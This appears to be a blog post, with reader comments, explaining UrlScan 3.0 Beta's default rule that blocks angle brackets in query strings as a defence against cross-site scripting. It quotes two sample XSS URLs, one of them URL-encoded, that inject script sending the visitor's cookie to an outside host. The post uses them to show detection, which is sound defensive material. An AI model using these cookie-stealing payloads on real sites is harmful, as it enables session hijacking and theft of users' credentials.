Using the new rules configuration in UrlScan v3.0 Beta (Part 1)

If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it.

I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the walkthrough for the Beta.

Cross site scripting

There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS here and iDefense has a decent whitepaper here. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good.

Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

The pattern that should jump out at you is the <script> tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like <     script     > ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:

[DenyQueryStringSequences]

<

>

Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '<' or the '>' character on the query string. Along with the above section, the default configuration also has the following set:

[Options]

UnescapeQueryString=1

What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.

Read the next post in the series and watch me dissect the sample SQL injection rule in the walkthrough posted.

6 Comments

  • For your reference Nazim here appears to be a legitimate use of the > characters.

    http://forums.iis.net/t/1150115.aspx

    I am wondering if you could change the tool so that you only reject a request if you have both

    I am trying to look from an admin point of view and what is useful in the real world. It cannot reject legit request while at the same time increase security.

  • I definitely see the value in an 'AND' evaluation of a list. Let me think about it a little more. Thanks for the feedback.

  • Will URL Scan 3.0 monitor post data when forms are submitted?

  • No UrlScan will not monitor POST data. Check http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx

  • Will URLScan reduce the amount of bandwidth taken up by the SQL injection pelting?
    Does it help to reduce the number of attempts? If not is there anything to reduce number of injection attempts?

  • To reduce number of SQL injection attempts, I would monitor my UrlScan logs for known bad sites and then use the IP restriction list to block those sites.

Comments have been disabled for this content.